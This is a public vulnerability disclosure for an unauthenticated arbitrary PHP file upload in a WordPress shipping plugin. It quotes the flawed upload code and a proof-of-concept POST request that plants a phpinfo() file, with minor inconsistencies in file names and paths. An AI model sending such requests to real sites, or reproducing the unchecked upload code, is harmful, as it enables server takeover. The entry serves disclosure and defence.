WordPress Plugin Baggage Freight Shipping Australia 0.1.0 - Arbitrary File Upload

Author: Kaimi
type: webapps
platform: php
port: 80.0
date_added: 2018-12-27 
date_updated: 2019-01-02 
verified: 0 
codes:  
tags: 
aliases:  
screenshot_url:  
application_url: http://www.exploit-db.combaggage-freight.zip

# Exploit Title: WordPress Plugin Baggage Freight Shipping Australia 0.1.0 - Arbitrary File Upload
# Date: 2018-12-24
# Software Link: https://wordpress.org/plugins/baggage-freight/
# Exploit Author: Kaimi
# Website: https://kaimi.io
# Version: 0.1.0
# Category: webapps

# Unrestricted file upload for unahtorized user in package info upload
# process allowing arbitrary extension.

File: upload-package.php

Vulnerable code:
if($_POST["submit"])
{
    if ($_FILES["file"])
    {
        $uploadpath = "../wp-content/plugins/baggage_shipping/upload/".time()."_".$_FILES["file"]["name"];

        move_uploaded_file($_FILES["file"]["tmp_name"],$uploadpath);

# Exploitation example:

POST /wp-content/plugins/baggage-freight/upload-package.php HTTP/1.1
Host: example.com
Content-Type: multipart/form-data; boundary=---------------------------18311719029180117571501079851
...
-----------------------------18311719029180117571501079851
Content-Disposition: form-data; name="submit"

1
-----------------------------18311719029180117571501079851
Content-Disposition: form-data; name="file"; filename="file.php"
Content-Type: audio/wav

<?php phpinfo();
-----------------------------18311719029180117571501079851--

# Uploaded file will be located at /wp-content/plugins/baggage_shipping/upload/{timestamp}_info.php.